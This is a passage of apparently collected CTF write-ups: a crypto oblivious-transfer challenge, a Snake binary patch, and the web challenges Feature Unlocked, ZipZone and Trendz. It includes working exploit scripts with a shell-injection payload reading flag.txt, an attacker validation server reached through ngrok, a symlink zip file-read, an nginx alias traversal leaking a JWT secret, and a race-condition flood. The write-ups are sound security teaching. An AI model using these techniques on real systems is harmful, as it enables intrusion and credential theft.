game!\u0026quot;) N = int(input(\u0026quot;Send me a number: \u0026quot;)) chall = Challenge(N) for _ in range(128): if not chall.one_round(): exit(1) chall.send_flag(FLAG) if __name__ == \u0026quot;__main__\u0026quot;: main() We can remotely interact with this service to recover the flag.\nAnalysis Let\u0026rsquo;s start with the functions: jacobi(a, n) computes the Jacobi symbol of a mod n\nsample(start, N) returns the first s \u0026gt;= start such that sample(s, N) == 1\nLet\u0026rsquo;s look at the class Challenge now: __init__(self, N)\nN is checked to be odd and greater than $2^{1024}$ self.x is generated from sample(int.from_bytes(sha256((\u0026quot;x\u0026quot;+str(N)).encode()).digest(), \u0026quot;big\u0026quot;), N) A loop generates 128 random private values ts and their public counterpart tts self.key is generated from sha256((\u0026quot;,\u0026quot;.join(map(str, ts))).encode()).digest() one_round(self)\nz is generated from sample(random.randint(1, self.N), self.N) r0, r1 are random integers in the range $[1, N]$ m0, m1 are randomly chosen from $\\{0, 1\\}$ $c_0 \\equiv r_0^2 \\cdot z^{m_0} \\pmod N$ $c_1 \\equiv r_1^2 \\cdot (z \\cdot x)^{m_1} \\pmod N$ c0, c1 are shared and the user has to correctly guess m0, m1 to continue to the next round send_flag(self, flag)\nencrypts the flag with AES using self.key and sends it to the user Solution The first objective is retrieving the AES key, so from each pow(t, N, N) I had to get t. My idea was to use Fermat\u0026rsquo;s little theorem, therefore setting N to be prime would make it so tts == ts. This allows easy recovery of self.key but it\u0026rsquo;s also a grave mistake\u0026hellip; The second objective is guessing m0 and m1 128 times in a row to finally get the encrypted flag and decrypt it with our key. The idea is to use theory about quadratic residues, but this is where I got stuck: if N is prime this is actually impossible as sample will always generate a correct quadratic residue and therefore these two cases are indistinguishable\n$$ \\begin{cases} c_0 \\equiv r_0^2 \\cdot z \\pmod N \\\\ c_0 \\equiv r_0^2 \\pmod N \\end{cases} $$ After the end of the CTF I asked on discord for help on figuring out where I went wrong and some competitors who solved it kindly explained it to me. The idea is to use a different value for N. Recovering the private key requires \u0026ldquo;decrypting\u0026rdquo; the public values which are encrypted using the usual RSA method, we expect this to be hard without knowing the factorization of N, but as we\u0026rsquo;re the ones to choose it we can simply generate some primes, take their product and decrypting is easy as we have the factorization of N. Now that N is composite sample won\u0026rsquo;t always generate quadratic residues mod N (there is still a possibility but it\u0026rsquo;s low enough to be ignored) so as soon as the Legendre symbol of c0 for any of the prime factors of N isn\u0026rsquo;t 1 we know we must be in the case where m0 == 1 (same goes for c1and m1). After 128 rounds we are given the encrypted flag which we can just decrypt as we have the key.\nfrom Pwn4Sage.pwn import * from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import json, hashlib r = remote('yaot.challs.m0lecon.it', 2844) primes = [random_prime(2^(32), lbound=2^31) for _ in range(33)] N = prod(primes) assert N \u0026gt; 2^1024 phi = prod([p - 1 for p in primes]) d = inverse_mod(N, phi) # Pwn4Sage doesn't have sendlineafter r.sendafter(b'number: ', str(N).encode() + b'\\n') tts = json.loads(r.recvline().rstrip())['vals'] ts = [pow(tt, d, N) for tt in tts] key = hashlib.sha256((\u0026quot;,\u0026quot;.join(map(str, ts))).encode()).digest() for _ in range(128): data = json.loads(r.recvline().rstrip()) c0, c1 = data['c0'], data['c1'] m0 = int(any(legendre_symbol(c0, p) != 1 for p in primes)) m1 = int(any(legendre_symbol(c1, p) != 1 for p in primes)) payload = json.dumps({'m0': m0, 'm1': m1}).encode() r.sendline(payload) enc_flag = bytes.fromhex(r.recvline().rstrip().decode()) cipher = AES.new(key, AES.MODE_ECB) flag = unpad(cipher.decrypt(enc_flag), 16).decode() print('flag:', flag) $ flag: ptm{t0_b3_0r_n07_t0_b3_4_qu4dr471c_r351du3?} Author: vympel\n","permalink":"http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/","title":"Yet Another OT"},{"content":"Snake Description: Can you slither to the win?\nLink to the binary: Elf file\nIntroduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points.\nSolution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a \u0026lsquo;slower\u0026rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i.e. the value that was added every time it ate a #).\nIn a short time I managed to find this:\nAfter some trial and error, changing the value from 0xa to 0xb, I find the line of code I need, which is the last one in the screenshot above.\nAt this point I switch to the assembly and notice that my initial approach was wrong this is because I was putting too high a value in a register that it did not support in fact analysing the binary in assembly we see:\nAs we can see, before entering the constant into the dword register [rcx+0x7c], we first enter it into eax and if we enter too high a value, the programme simply crashes (as it should).\nSo simply afterwards I chose to put the precise value in the correct register once I had made at least one point\n(the nop are automatically inserted by binary ninja)\nIn this way, once we have scored at least one point, we will have the flag\n$ flag: CSCTF{Y0u_b34T_My_Sl1th3r_G4m3!} Author: akiidjk ","permalink":"http://localhost:1313/writeups/cyberspace2024/snake/","title":"Snake"},{"content":"Feature unlocked Description: The world\u0026rsquo;s coolest app has a brand new feature! Too bad it\u0026rsquo;s not released until after the CTF..\nLink: https://feature-unlocked-web-challs.csc.tf/\nIntroduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly.\nSource # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS from itsdangerous import URLSafeTimedSerializer app = Flask(__name__) app.secret_key = os.urandom(16) serializer = URLSafeTimedSerializer(app.secret_key) DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338' NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60 DEFAULT_PREFERENCES = base64.b64encode(json.dumps({ 'theme': 'light', 'language': 'en' }).encode()).decode() def get_preferences(): preferences = request.cookies.get('preferences') if not preferences: response = make_response(render_template( 'index.html', new_feature=False)) response.set_cookie('preferences', DEFAULT_PREFERENCES) return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response return json.loads(base64.b64decode(preferences)), None @app.route('/') def index(): _, response = get_preferences() return response if response else render_template('index.html', new_feature=False) @app.route('/release') def release(): token = request.cookies.get('access_token') if token: try: data = serializer.loads(token) if data == 'access_granted': return redirect(url_for('feature')) except Exception as e: print(f\u0026quot;Token validation error: {e}\u0026quot;) validation_server = DEFAULT_VALIDATION_SERVER if request.args.get('debug') == 'true': preferences, _ = get_preferences() validation_server = preferences.get( 'validation_server', DEFAULT_VALIDATION_SERVER) if validate_server(validation_server): response = make_response(render_template( 'release.html', feature_unlocked=True)) token = serializer.dumps('access_granted') response.set_cookie('access_token', token, httponly=True, secure=True) return response return render_template('release.html', feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE) @app.route('/feature', methods=['GET', 'POST']) def feature(): token = request.cookies.get('access_token') if not token: return redirect(url_for('index')) try: data = serializer.loads(token) if data != 'access_granted': return redirect(url_for('index')) if request.method == 'POST': to_process = request.form.get('text') try: word_count = f\u0026quot;echo {to_process} | wc -w\u0026quot; output = subprocess.check_output( word_count, shell=True, text=True) except subprocess.CalledProcessError as e: output = f\u0026quot;Error: {e}\u0026quot; return render_template('feature.html', output=output) return render_template('feature.html') except Exception as e: print(f\u0026quot;Error: {e}\u0026quot;) return redirect(url_for('index')) def get_pubkey(validation_server): try: response = requests.get(f\u0026quot;{validation_server}/pubkey\u0026quot;) response.raise_for_status() return ECC.import_key(response.text) except requests.RequestException as e: raise Exception( f\u0026quot;Error connecting to validation server for public key: {e}\u0026quot;) def validate_access(validation_server): pubkey = get_pubkey(validation_server) try: response = requests.get(validation_server) response.raise_for_status() data = response.json() date = data['date'].encode('utf-8') signature = bytes.fromhex(data['signature']) verifier = DSS.new(pubkey, 'fips-186-3') verifier.verify(SHA256.new(date), signature) return int(date) except requests.RequestException as e: raise Exception(f\u0026quot;Error validating access: {e}\u0026quot;) def validate_server(validation_server): try: date = validate_access(validation_server) return date \u0026gt;= NEW_FEATURE_RELEASE except Exception as e: print(f\u0026quot;Error: {e}\u0026quot;) return False if __name__ == '__main__': app.run(host='0.0.0.0', port=1337) # filename: validation.py from flask import Flask, jsonify import time from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS app = Flask(__name__) key = ECC.generate(curve='p256') pubkey = key.public_key().export_key(format='PEM') @app.route('/pubkey', methods=['GET']) def get_pubkey(): return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'} @app.route('/', methods=['GET']) def index(): date = str(int(time.time())) h = SHA256.new(date.encode('utf-8')) signature = DSS.new(key, 'fips-186-3').sign(h) return jsonify({ 'date': date, 'signature': signature.hex() }) if __name__ == '__main__': app.run(host='127.0.0.1', port=1338) The application is divided into two parts: the main one, where we find the web application, and a server used to validate the access token with the access_garantied parameter for the release of the feature.\nOne thing that immediately stands out is a part of the main code where a debug mode is given.\nif request.args.get('debug') == 'true': preferences, _ = get_preferences() validation_server = preferences.get( 'validation_server', DEFAULT_VALIDATION_SERVER) If the get arguments have the debug=true option, it will take the validation server from our preferences, which we remember to be a simple base64 cookie from a json so easily replicable.\nSolution What we can do is give the application its own validation server, which is simply a copy of our own, except that we can change the date of the server to make the feature.\n# filename: evil_validation.py from flask import Flask, jsonify import time from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS app = Flask(__name__) key = ECC.generate(curve='p256') pubkey = key.public_key().export_key(format='PEM') @app.route('/pubkey', methods=['GET']) def get_pubkey(): print(\u0026quot;Pubkey: \u0026quot; + pubkey) return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'} @app.route('/', methods=['GET']) def index(): date = str(int(time.time()) + 7 * 24 * 60 * 60) h = SHA256.new(date.encode('utf-8')) signature = DSS.new(key, 'fips-186-3').sign(h) print(\u0026quot;Date: \u0026quot; + date) print(\u0026quot;Signature: \u0026quot; + signature.hex()) print(\u0026quot;Validating signature...\u0026quot;) print(jsonify({ 'date': date, 'signature': signature.hex() })) return jsonify({ 'date': date, 'signature': signature.hex() }) if __name__ == '__main__': app.run(host='127.0.0.1', port=1338) # filename: exploit.py #!/usr/bin/python3 import base64 import requests import json from bs4 import BeautifulSoup BASE_URL = \u0026quot;https://feature-unlocked-web-challs.csc.tf\u0026quot; URL_HOOK = \u0026quot;https://3fcb-79-33-159-173.ngrok-free.app\u0026quot; # ngrok tunnel with evil_validation.py in listening (so run python3 evil_validation; ngrok http 1338 ) s = requests.Session() def get_validation(): preference = base64.b64encode(json.dumps({ 'theme': 'light', 'language': 'en', 'validation_server': URL_HOOK }).encode()).decode() r = s.get(f\u0026quot;{BASE_URL}/release\u0026quot;, params={\u0026quot;debug\u0026quot;: \u0026quot;true\u0026quot;}, cookies={\u0026quot;preferences\u0026quot;: preference}) print(f\u0026quot;{s.cookies=}\u0026quot;) def get_flag(): payload = ';cat flag.txt #' # Bypass for word_count = f\u0026quot;echo {to_process} | wc -w\u0026quot; r = s.post(f\u0026quot;{BASE_URL}/feature\u0026quot;,data={\u0026quot;text\u0026quot;:payload}) soup = BeautifulSoup(r.text, 'html.parser') print(\u0026quot;Flag: \u0026quot; + (soup.find('pre').text).strip()) def main(): get_validation() get_flag() if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $ flag: CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!} Author: akiidjk ","permalink":"http://localhost:1313/writeups/cyberspace2024/feature_unlocked/","title":"Feature Unlocked"},{"content":"Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It\u0026rsquo;s still a work in progress, but I think it\u0026rsquo;s pretty good so far.\nLink: https://zipzone-web.challs.csc.tf/\nIntroduction ZipZone is the only one web in the beginner\u0026rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards.\nSource # filename: app.py import logging import os import subprocess import uuid from flask import ( Flask, abort, flash, redirect, render_template, request, send_from_directory, ) app = Flask(__name__) upload_dir = \u0026quot;/tmp/\u0026quot; app.config[\u0026quot;MAX_CONTENT_LENGTH\u0026quot;] = 1 * 10**6 # 1 MB app.config[\u0026quot;SECRET_KEY\u0026quot;] = os.urandom(32) @app.route(\u0026quot;/\u0026quot;, methods=[\u0026quot;GET\u0026quot;, \u0026quot;POST\u0026quot;]) def upload(): if request.method == \u0026quot;GET\u0026quot;: return render_template(\u0026quot;index.html\u0026quot;) if \u0026quot;file\u0026quot; not in request.files: flash(\u0026quot;No file part!\u0026quot;, \u0026quot;danger\u0026quot;) return render_template(\u0026quot;index.html\u0026quot;) file = request.files[\u0026quot;file\u0026quot;] if file.filename.split(\u0026quot;.\u0026quot;)[-1].lower() != \u0026quot;zip\u0026quot;: flash(\u0026quot;Only zip files allowed are allowed!\u0026quot;, \u0026quot;danger\u0026quot;) return render_template(\u0026quot;index.html\u0026quot;) upload_uuid = str(uuid.uuid4()) filename = f\u0026quot;{upload_dir}raw/{upload_uuid}.zip\u0026quot; file.save(filename) subprocess.call([\u0026quot;unzip\u0026quot;, filename, \u0026quot;-d\u0026quot;, f\u0026quot;{upload_dir}files/{upload_uuid}\u0026quot;]) print(f\u0026quot;Unzipped {filename} to {upload_dir}files/{upload_uuid}\u0026quot;) flash( f'Your file is at \u0026lt;a href=\u0026quot;/files/{upload_uuid}\u0026quot;\u0026gt;{upload_uuid}\u0026lt;/a\u0026gt;!', \u0026quot;success\u0026quot; ) logging.info(f\u0026quot;User uploaded file {upload_uuid}.\u0026quot;) return redirect(\u0026quot;/\u0026quot;) @app.route(\u0026quot;/files/\u0026lt;path:path\u0026gt;\u0026quot;) def files(path): try: return send_from_directory(upload_dir + \u0026quot;files\u0026quot;, path) except PermissionError: abort(404) @app.errorhandler(404) def page_not_found(error): return render_template(\u0026quot;404.html\u0026quot;) if __name__ == \u0026quot;__main__\u0026quot;: app.run(debug=True, host=\u0026quot;0.0.0.0\u0026quot;, port=5000) Solution Being actually a web in the beginner category, I initially just gave a quick read to the source code, where in fact no checks are done on the files inside the zipper, but only on the zipper itself, where we see the extension is checked\n# filename: exploit.py #!/usr/bin/python3 import os import subprocess import requests from bs4 import BeautifulSoup BASE_URL = \u0026quot;https://zipzone-web.challs.csc.tf\u0026quot; URL_HOOK = \u0026quot;\u0026quot; def get_uuid(text): soup = BeautifulSoup(text, 'html.parser') for a in soup.find_all('a', href=True): if a['href']: return a['href'].split('/')[-1] def upload_file(file_path): with open(file_path, \u0026quot;rb\u0026quot;) as f: files = {\u0026quot;file\u0026quot;: f} response = requests.post(BASE_URL, files=files) return get_uuid(response.text) def create_exploit(zip_filename:str,symlink_name:str,symlink_target:str): os.symlink(symlink_target, symlink_name) subprocess.run(['zip', '-y', zip_filename, symlink_name], check=True) print(f'{zip_filename} created.') os.remove(symlink_name) def get_flag(UUID): response = requests.get(f'{BASE_URL}/files/{UUID}/evil_link',stream=True) if response.status_code == 200: with open(\u0026quot;flag\u0026quot;, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f\u0026quot;Flag download successfully\u0026quot;) else: print(f\u0026quot;Error during the download: {response.status_code}\u0026quot;) return open(\u0026quot;flag\u0026quot;, \u0026quot;r\u0026quot;).read().strip() def clean(): os.remove('exploit.zip') os.remove('flag') def main(): create_exploit(zip_filename='exploit.zip',symlink_name='evil_link',symlink_target='/home/user/flag.txt') UUID = upload_file('./exploit.zip') print(f'UUID: {UUID}') flag = get_flag(UUID) print(f\u0026quot;Flag: {flag}\u0026quot;) clean() if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk The solutions is very simple, A symlink is simply created pointing to /home/user/flag, it is then zipped and sent to the page, we save the file id and in the path uuid/name_file we send the file pointing to the symlink.\n$ flag: CSCTF{5yml1nk5_4r3_w31rd} Author: akiidjk ","permalink":"http://localhost:1313/writeups/cyberspace2024/zipzone/","title":"ZipZone"},{"content":"Trendz (part 1 \u0026 2) Preamble This challenge is divided into four parts, three webs and a reverse. I\u0026rsquo;m excited to share that I managed to solve the first two webs! I\u0026rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I\u0026rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it\u0026rsquo;s write well! The application itself has many files, but they are well written and ordered, so a thorough analysis is not difficult but necessary. The application is divided into 5 basic parts.\nConfig file: ngix.conf ,run.sh,init.sql, dockerfile and .dockerignore Main go file: main.go This is where you\u0026rsquo;ll find all the details about how to use the different functions and what they do! Dashboard: Here are the 3 types of dashboards possible in the application Jwt handler: How to use JWT for authentication. Service: The various services such as post creation or user validation Application flow The basic application is presented with a login/registration screen where once we are logged in we are assigned an accesstoken and a refreshtoken, a redirect to the standard user dashboard occurs where we can create posts and view them via /posts/post-id,basically more than this we cannot do\nPath structure As mentioned before in the main.go we find the path declaration and some very important initialization functions\n// filename: main.go func main() { s := gin.Default() s.LoadHTMLGlob(\u0026quot;templates/*\u0026quot;) db.InitDBconn() jwt.InitJWT() // Initialization of jwt we will analyze it later s.GET(\u0026quot;/\u0026quot;, func(c *gin.Context) { c.Redirect(302, \u0026quot;/login\u0026quot;) }) s.GET(\u0026quot;/ping\u0026quot;, func(c *gin.Context) { c.JSON(200, gin.H{ \u0026quot;message\u0026quot;: \u0026quot;pong\u0026quot;, }) }) r := s.Group(\u0026quot;/\u0026quot;) r.POST(\u0026quot;/register\u0026quot;, service.CreateUser) r.GET(\u0026quot;/register\u0026quot;, func(c *gin.Context) { c.HTML(200, \u0026quot;register.tmpl\u0026quot;, gin.H{}) }) r.POST(\u0026quot;/login\u0026quot;, service.LoginUser) r.GET(\u0026quot;/login\u0026quot;, func(c *gin.Context) { c.HTML(200, \u0026quot;login.tmpl\u0026quot;, gin.H{}) }) r.GET(\u0026quot;/getAccessToken\u0026quot;, service.GenerateAccessToken) authorizedEndpoints := r.Group(\u0026quot;/user\u0026quot;) authorizedEndpoints.Use(service.AuthorizeAccessToken()) authorizedEndpoints.GET(\u0026quot;/dashboard\u0026quot;, dashboard.UserDashboard) authorizedEndpoints.POST(\u0026quot;/posts/create\u0026quot;, service.CreatePost) authorizedEndpoints.GET(\u0026quot;/posts/:postid\u0026quot;, service.ShowPost) authorizedEndpoints.GET(\u0026quot;/flag\u0026quot;, service.DisplayFlag) adminEndpoints := r.Group(\u0026quot;/admin\u0026quot;) adminEndpoints.Use(service.AuthorizeAccessToken()) adminEndpoints.Use(service.ValidateAdmin()) adminEndpoints.GET(\u0026quot;/dashboard\u0026quot;, dashboard.AdminDashboard) SAEndpoints := r.Group(\u0026quot;/superadmin\u0026quot;) SAEndpoints.Use(service.AuthorizeAccessToken()) SAEndpoints.Use(service.ValidateAdmin()) SAEndpoints.Use(service.AuthorizeRefreshToken()) SAEndpoints.Use(service.ValidateSuperAdmin()) SAEndpoints.GET(\u0026quot;/viewpost/:postid\u0026quot;, dashboard.ViewPosts) SAEndpoints.GET(\u0026quot;/dashboard\u0026quot;, dashboard.SuperAdminDashboard) s.NoRoute(custom.Custom404Handler) s.Run(\u0026quot;:8000\u0026quot;) } As it is seen the scheme of the paths is very clear and it is well done basically we have the login and registration and then we move to a division by role where we have a user section an admin and a superadmin each of them with their own validation services\nConfig files # filename: run.sh #!/bin/env sh cat /dev/urandom | head | sha1sum | cut -d \u0026quot; \u0026quot; -f 1 \u0026gt; /app/jwt.secret export JWT_SECRET_KEY=notsosecurekey export ADMIN_FLAG=CSCTF{flag1} export POST_FLAG=CSCTF{flag2} export SUPERADMIN_FLAG=CSCTF{flag3} export REV_FLAG=CSCTF{flag4} export POSTGRES_USER=postgres export POSTGRES_PASSWORD=mysecretpassword export POSTGRES_DB=devdb uuid=$(cat /proc/sys/kernel/random/uuid) user=$(cat /dev/urandom | head | md5sum | cut -d \u0026quot; \u0026quot; -f 1) cat \u0026lt;\u0026lt; EOF \u0026gt;\u0026gt; /docker-entrypoint-initdb.d/init.sql INSERT INTO users (username, password, role) VALUES ('superadmin', 'superadmin', 'superadmin'); INSERT INTO posts (postid, username, title, data) VALUES ('$uuid', '$user', 'Welcome to the CTF!', '$ADMIN_FLAG'); EOF docker-ensure-initdb.sh \u0026amp; GIN_MODE=release /app/chall \u0026amp; sleep 5 su postgres -c \u0026quot;postgres -D /var/lib/postgresql/data\u0026quot; \u0026amp; nginx -g 'daemon off;' This file is actually very important because it gives us an idea of where the flags are (which fortunately are also numbered)\nAs we see the first thing that is done is to create a file called jwt.secret that will be a source of interest later,\nWe see that another jwt secret is initialized and 4 flags in 4 different environment variables,\nQueries are made one in which the superadmin user is created and another in which the flag is inserted in a record in the posts table\nFinally, the postgree database and the ngix server are started.\nuser nobody; worker_processes auto; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; location / { proxy_pass http://localhost:8000; } location /static { alias /app/static/; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } } } This is the ngix configuration, where a fairly standard configuration is written, except for declaring a /static alias.\nWell, once I\u0026rsquo;ve finished presenting the application, I\u0026rsquo;d say you\u0026rsquo;re ready to go\u0026hellip;\nTrendz Part 1 Description: The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.\nNote: This challenge consists of four parts, which can be solved in any order. However, the final part will only be accessible once you\u0026rsquo;ve completed this initial task, and will be released in Wave 3.\nIntroduction Well, as we saw in the run.sh file, the first flag is inside a record in the post table and it is also called ADMIN_FLAG, so the first thing to see is how admin authentication works and what the admin dashboard can do.\nSource // filename: AdminDash.go package dashboard import ( \u0026quot;app/handlers/service\u0026quot; \u0026quot;os\u0026quot; \u0026quot;github.com/gin-gonic/gin\u0026quot; ) func AdminDashboard(ctx *gin.Context) { posts := service.GetAllPosts() ctx.HTML(200, \u0026quot;adminDash.tmpl\u0026quot;, gin.H{ \u0026quot;flag\u0026quot;: os.Getenv(\u0026quot;ADMIN_FLAG\u0026quot;), \u0026quot;posts\u0026quot;: posts, }) } As we can see, the dashboard is very concise, we simply see that the GetAllPosts() function is called and then they are sent to the template, so not much to do here, let\u0026rsquo;s move on to how the admin is authenticated.\n//filename: main.go adminEndpoints := r.Group(\u0026quot;/admin\u0026quot;) adminEndpoints.Use(service.AuthorizeAccessToken()) adminEndpoints.Use(service.ValidateAdmin()) adminEndpoints.GET(\u0026quot;/dashboard\u0026quot;, dashboard.AdminDashboard) As we can see from the code, whenever we try to connect to the admin dashboard, it first runs two functions, ValidateAccess() and ValidateAdmin().\n//filename: JWTHandler.go func AuthorizeAccessToken() gin.HandlerFunc { return func(c *gin.Context) { c.Header(\u0026quot;X-Frame-Options\u0026quot;, \u0026quot;DENY\u0026quot;) c.Header(\u0026quot;X-XSS-Protection\u0026quot;, \u0026quot;1; mode=block\u0026quot;) const bearerSchema = \u0026quot;Bearer \u0026quot; var tokenDetected bool = false var tokenString string authHeader := c.GetHeader(\u0026quot;Authorization\u0026quot;) if len(authHeader) != 0 { tokenDetected = true tokenString = authHeader[len(bearerSchema):] } if !tokenDetected { var err error tokenString, err = c.Cookie(\u0026quot;accesstoken\u0026quot;) if tokenString == \u0026quot;\u0026quot; || err != nil { c.Redirect(302, \u0026quot;/getAccessToken?redirect=\u0026quot;+c.Request.URL.Path) } } fmt.Println(tokenString) token, err := jwt.ValidateAccessToken(tokenString) if err != nil { fmt.Println(err) c.AbortWithStatus(403) } if token.Valid { claims := jwt.GetClaims(token) fmt.Println(claims) c.Set(\u0026quot;username\u0026quot;, claims[\u0026quot;username\u0026quot;]) c.Set(\u0026quot;role\u0026quot;, claims[\u0026quot;role\u0026quot;]) } else { fmt.Println(\u0026quot;Token is not valid\u0026quot;) c.Header(\u0026quot;HX-Redirect\u0026quot;, \u0026quot;/getAccessToken\u0026quot;) c.AbortWithStatus(403) } } } This is a pretty standard function regarding JWT integrity checking, in fact here we see that the function checks that the cookie is well formatted and has no problems by validating it with the ValidateAccessToken() function, otherwise it rejects it or aborts the operation.\n//filename: JWTAuth.go func ValidateAccessToken(encodedToken string) (*jwt.Token, error) { return jwt.Parse(encodedToken, func(token *jwt.Token) (interface{}, error) { _, isValid := token.Method.(*jwt.SigningMethodHMAC) if !isValid { return nil, fmt.Errorf(\u0026quot;invalid token with signing method: %v\u0026quot;, token.Header[\u0026quot;alg\u0026quot;]) } return []byte(secretKey), nil }) } // The function is safe and it is not subject to `alg:none` or any other kind of attack, so we must move on. //filename: ValidateAdmin.go func ValidateAdmin() gin.HandlerFunc { return func(c *gin.Context) { const bearerSchema = \u0026quot;Bearer \u0026quot; var tokenDetected bool = false var tokenString string authHeader := c.GetHeader(\u0026quot;Authorization\u0026quot;) if len(authHeader) != 0 { tokenDetected = true tokenString = authHeader[len(bearerSchema):] } if !tokenDetected { var err error tokenString, err = c.Cookie(\u0026quot;accesstoken\u0026quot;) if tokenString == \u0026quot;\u0026quot; || err != nil { c.Redirect(302, \u0026quot;/getAccessToken?redirect=\u0026quot;+c.Request.URL.Path) } } fmt.Println(tokenString) claims := jwt.ExtractClaims(tokenString) if claims[\u0026quot;role\u0026quot;] == \u0026quot;admin\u0026quot; || claims[\u0026quot;role\u0026quot;] == \u0026quot;superadmin\u0026quot; { fmt.Println(claims) } else { fmt.Println(\u0026quot;Token is not valid\u0026quot;) c.AbortWithStatusJSON(403, gin.H{\u0026quot;error\u0026quot;: \u0026quot;User Unauthorized\u0026quot;}) return } } } Instead, we see here that the role is validated in the JWT by checking that it is at least admin or superadmin.\nSolution Mmm authentication seems secure let\u0026rsquo;s take a step back and go to the JWTInit function.\n//filename: JWTAuth.go func InitJWT() { key, err := os.ReadFile(\u0026quot;jwt.secret\u0026quot;) if err != nil { panic(err) } secretKey = key[:] fmt.Printf(\u0026quot;JWT initialized %v\\n\u0026quot;, secretKey) } We see that the function itself doesn\u0026rsquo;t do much simply takes the key with which it will sign jwt\u0026rsquo;s from a file well known to us in fact we have seen it in run.sh where it is created and where a secure value is put there\nBut if we analyse the Docker file system locally, we see that jwt.secret is located in the same folder as static, which we saw in the ngix configuration create an alias to that path.\nlocation /static { alias /app/static/; } If we try to access /static we can see.\nNOTHING\u0026hellip; But we can wander around a bit for js and css files that we don\u0026rsquo;t need though, And if we try a class ../ after static we see that it doesn\u0026rsquo;t find anything there\nHmm will there be a way to bypass the ngix and access the file?\nWell actually yes because the configuration as we see on hacktricks is insecure and easily bypassed like this\nAnd if we try to type /static../jwt.secret\u0026hellip; NICE WE GOT THE JWT SECRET\nNow just change the role of the jwt and re-sign it but we\u0026rsquo;ll see that later in detail being that the challenge itself is solved\u0026hellip; (At the end see the #PS)\nTrendz Part 2 Descripion: Staying active has its rewards. There\u0026rsquo;s a special gift waiting for you, but it\u0026rsquo;s only available once you\u0026rsquo;ve made more than 12 posts. Keep posting to uncover the surprise!\nNote: Use the instancer and source from part one of this challenge, Trendz.\nIntroduction We are in the second part of the Trendz challenge, so we have exactly the same application, only the target flag has changed.\nSource First thing to figure out is where the flag is located, going back to the run.sh we see that the file is located inside the POST_FLAG environment variable so we presso let\u0026rsquo;s assume that the posts center something, searching the directories with grep or something else we see that the variable is called here:\n//filename: Posts.go func DisplayFlag(ctx *gin.Context) { username := ctx.MustGet(\u0026quot;username\u0026quot;).(string) noOfPosts := CheckNoOfPosts(username) if noOfPosts \u0026lt;= 12 { ctx.JSON(200, gin.H{\u0026quot;error\u0026quot;: fmt.Sprintf(\u0026quot;You need %d more posts to view the flag\u0026quot;, 12-noOfPosts)}) return } ctx.JSON(200, gin.H{\u0026quot;flag\u0026quot;: os.Getenv(\u0026quot;POST_FLAG\u0026quot;)}) } Oh we just need to make 12 simple posts no?\nWell not really in fact if we see the function that creates the posts we can see that it doesn\u0026rsquo;t allow us to make more than 12\n//filename: Posts.go func CreatePost(ctx *gin.Context) { username := ctx.MustGet(\u0026quot;username\u0026quot;).(string) noOfPosts := CheckNoOfPosts(username) var req struct { Title string `json:\u0026quot;title\u0026quot;` Data string `json:\u0026quot;data\u0026quot;` } if err := ctx.BindJSON(\u0026amp;req); err != nil { ctx.JSON(400, gin.H{\u0026quot;error\u0026quot;: \u0026quot;Invalid request\u0026quot;}) fmt.Println(err) return } if noOfPosts \u0026gt;= 10 { ctx.JSON(200, gin.H{\u0026quot;error\u0026quot;: \u0026quot;You have reached the maximum number of posts\u0026quot;}) return } if len(req.Data) \u0026gt; 210 { ctx.JSON(200, gin.H{\u0026quot;error\u0026quot;: \u0026quot;Data length should be less than 210 characters\u0026quot;}) return } postID := InsertPost(username, req.Title, req.Data) ctx.JSON(200, gin.H{\u0026quot;postid\u0026quot;: postID}) } As we can see, a function is executed that checks the number of posts, which in itself is not a major problem, the problem lies in the misuse of this function.\nThis is because although go is very fast and even postgree actually this doesn\u0026rsquo;t stop us from making a race condition\nSolution The solution itself is very simple just create a large amount of requests simultaneously with the same session and hope to enter more posts than allowed by doing so we will be able to bypass the control and get our flag\nProbably the reason it works is much more precise and technical, but to tell you the truth, it came to me as soon as I saw it and tried it, and apparently my hunch was right\u0026hellip;\nFinal script This is the final exploit script with the 2 challenge solution\n# filename: exploit.py #!/usr/bin/python3 from concurrent.futures import ThreadPoolExecutor, as_completed from bs4 import BeautifulSoup import requests import jwt import string import random BASE_URL = \u0026quot;https://ID-INSTANCE.bugg.cc/\u0026quot; s = requests.Session() def random_string(length): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) def login(username, password): response = s.post(f\u0026quot;{BASE_URL}/login\u0026quot;, json={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) if response.status_code != 200: print(f\u0026quot;Login failed: {response.status_code}\u0026quot;) exit(response.status_code) def register(username, password): response = s.post(f\u0026quot;{BASE_URL}/register\u0026quot;, 